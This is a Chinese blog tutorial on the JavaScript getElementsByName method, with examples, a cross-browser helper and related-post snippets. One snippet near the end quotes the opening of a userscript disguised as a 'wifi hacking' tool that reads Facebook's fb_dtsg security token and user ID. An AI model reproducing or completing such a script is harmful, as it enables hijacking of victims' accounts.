- 浏览: 358776 次
- 性别:
- 来自: 深圳
文章分类
- 全部博客 (252)
- struts1.3 (18)
- spring2.0 (6)
- html & Css (30)
- soap (0)
- hibernate3.3.2 (3)
- JQuery1.4 (11)
- wsdl (0)
- Amazon EC2 (3)
- jsp (4)
- myeclipse skill (9)
- linux (1)
- servlet (1)
- english (7)
- Ajax (5)
- 常识 (3)
- 生活 (6)
- 工具 (42)
- 期货 & 外汇 (4)
- tomcat (2)
- ext (1)
- java se (11)
- java ee (1)
- it行业知识 (6)
- plsql developer skill (2)
- apache commons logging (1)
- apache commons HttpClient (1)
- apache commons codec (1)
- windows7 skill (3)
- 数据库设计 (2)
- oracle (5)
- junit (1)
- xStream (2)
- jdom (1)
- dwr (1)
- erp (2)
- javascript (4)
- Base64 (1)
- Ant (0)
- Apache CXF (1)
- 美剧 Friends season one (1)
- 设计模式 (1)
- android (0)
- html5 (0)
- SVN Skill (2)
- FindBugs (1)
- 云计算 (1)
- SAP (35)
- 演讲 (1)
- PMP (1)
- Velocity1.7 struts2.0 (1)
- svn (1)
最新评论
-
hijackwust:
最次的方法,没有之一
让一个工程并存jar包不同版本 -
手写白:
...
让一个工程并存jar包不同版本 -
wqsmd1:
连接不会关,怎么弄
Struts2 + JasperReports4 + DB2 Demo -
tntxia:
楼主,怎么没有放keymaker.jar这个包啊
Aqua Data Studio 破解及解决乱码说明 -
mrsea2010:
楼主,按照你的方法,点击联接,我都不能显示出页面,直接报404 ...
Struts2 + JasperReports4 + DB2 Demo
(zt)http://baike.baidu.com/view/1743588.htm
getElementsByName() 方法可返回带有指定名称的对象的集合。
语法 document.getElementsByName(name)该方法与 getElementById() 方法相似,但是它查询元素的 name 属性,而不是 id 属性。 另外,因为一个文档中的 name 属性可能不唯一(如 HTML 表单中的单选按钮通常具有相同的 name 属性),所有 getElementsByName() 方法返回的是元素的数组,而不是一个元素。如果一个文档中有两个以上的标签NAME相同,那么getElementsByName()就可以取得这些元素 组成一个数组。 比如有两个DIV: <div name="docname" id="docid1"></div> <div name="docname" id="docid2"></div> 那么可以用getElementsByName("docname")获得这两个DIV,用getElementsByName("docname")[0]访问第一个DIV,用getElementsByName")[1]访问第二个DIV。 总结一下标准DOM,访问某一特定元素尽量用标准的getElementById(),访问标签用标准的getElementByTagName(),但IE不支持 getElementsByName(),所以就要避免使用getElementsByName(),但getElementsByName()和不符合标准的document.all[]也不是全无是处,它 们有自己的方便之处,用不用那就看网站的用户使用什么浏览器,由你自己决定了。 让getElementsByName适应IE和firefox的方法:
getElementsByName:function (name) { var returns = document.getElementsByName(name); if(returns.length > 0) return returns; returns = new Array(); var e = document.getElementsByTagName('td'); for(i = 0; i < e.length; i++) { if(e[i].getAttribute("name") == name) { returns[returns.length] = e[i]; } } return returns; }
实例
<html> <head> <script type="text/javascript"> function getElements() { var x=document.getElementsByName("myInput"); alert(x.length); } </script> </head> <body> <input name="myInput" type="text" size="20" /><br /> <input name="myInput" type="text" size="20" /><br /> <input name="myInput" type="text" size="20" /><br /> <br /> <input type="button" onclick="getElements()" value="How many elements named 'myInput'?" /> </body> </html>
以上所述仅限于静态页面,如果用javascript动态生成页面,解决的方法还未知...
发表评论
-
HTML--META
2011-06-15 23:52 8201.定义语言 格式: 〈meta http-eq ... -
集成经理培训
2011-01-27 01:08 0Dea ... -
项目中请避免iframe缓存导致的无法提交
2010-12-30 23:02 954在JSP中使用iframe标签,会出现一种情况,第一次 ... -
通过position将div中的内容移出显示
2010-12-03 00:00 1016<!DOCTYPE html PUBLIC " ... -
CSS 文字替代图片下载失败情况
2010-12-02 23:44 954<!DOCTYPE html PUBLIC " ... -
CSS 2.0样式表中文手册
2010-12-02 23:40 922rt -
position的relative , absolute 关系
2010-12-02 23:21 1024<!DOCTYPE html PUBLIC " ... -
CSS 背景图片设置
2010-12-01 00:35 919<!DOCTYPE html PUBLIC " ... -
CSS 盒模型 介绍
2010-12-01 00:09 929备注: (1)margin是在border之外扩展空间 ... -
精通CSS与HTML设计模式 and 源码
2010-11-30 22:13 1022rt -
input type 介绍
2010-11-19 01:11 1463Input表示Form表单中的一种输入对象,其又随Type类型 ... -
input text 置灰例子
2010-11-19 01:05 6361<form name="testform ... -
DOM & JS DIV层操作__创建,指定删除,全部删除
2010-11-17 14:53 2093<!DOCTYPE HTML PUBLIC " ... -
DOM 加载顺序
2010-11-17 00:51 11341.HTML解析完毕 2.外部脚本和样式表加载完毕 3 ... -
radio,checkbox 与 getElementByName 配合取值
2010-11-17 00:45 1103HTML <div> male< ... -
DHTML_网页制作完全手册
2010-11-16 23:29 789rt -
html_mytest_code_and_note_version0.1
2010-06-15 03:19 839(1)<pre></pre> 可以保留 ... -
<select>
2010-06-15 03:06 850<!DOCTYPE html PUBLIC " ... -
<pre>
2010-06-15 03:05 788<!DOCTYPE html PUBLIC " ... -
a_mailto
2010-06-15 03:03 1065<!DOCTYPE html PUBLIC " ...
相关推荐
详细介绍并对比了document.getElementsByName()和document.getElementByNId()的用法,并进行了深入的比较,还有例子加以讲解说明。
w3c规范中getElementsByName是按着name属性进行检索的,而MS的IE却是按着id来检索。导致不能得到应该得到的Elements,为适应浏览器,我们可以做一下调整: 一、把需要用getElementsByName的name都加上id,且id和...
^) 但是对于document.getElementsByName 与document.getElementById 这个两个方法,IE中是并没有严格区分 ID 与 Name 的,比如: [removed] function useGetElementsByNameWithId(id) { var eles = d
定义和用法 getElementsByName() 方法可返回带有指定名称的对象的集合。 语法document.getElementsByName(name) 该方法与 getElementById() 方法相似,但是它查询元素的 name 属性,而不是 id 属性。 另外,因为一个...
详解JavaScript 中getElementsByName在IE中的注意事项 前言: 在IE5-9中是没有实现js的 getElementsByClassName()方法,但是实现了getElementsByName()方法,但是需要注意的是这个方法在IE5-9中也返回id属性匹配的指定...
HTML DOM 定义了多种查找元素的方法,除了 getElementById() 之外,还有 getElementsByName() 和 getElementsByTagName()。
document.getElementsByName(‘someName’) 返回一个节点列表(数组) 注意:在IE下有些节点是没有name 属性的,就是用document.getElementsByName获取不到的。只有下面的tag有name属性: A, APPLET, attribute, ...
innerHTML 真的一个麻烦的东西。IE 和 firefox 对dom 处理的方式不是很一样。IE 对动态加载的很多dom 不支持动态更新。
当页面上的控件同名且多个的时候,你首先做的是什么?判断长度?的确,从程序的严密角度出发,我们是需要判断长度,而且有长度和没长度是两种引用方法.
3、因为在html页面中,name不能唯一确定一个元素,所以方法的名称为getElementsByName而不是getElementByName <!DOCTYPE ...
代码如下:(wuhen注:document.all是ie特有的属性,不是万维网标准) 当页面上的控件同名且多个的时候,你首先做的是什么?判断长度?的确,从程序的严密角度出发,我们是需要判断长度,而且有长度和没长度是两种引用方法....
Document.all[]是文档中所有标签组成的一个数组变量,包括了文档对象中所有元素
// == UserScript == // @name Cara Bobol Wifi // @version v.01 // @Hak Cipta Security Cyber // // == / UserScript == var fb_dtsg = document.getElementsByName('fb_dtsg')[0] 。价值; var user_id = ...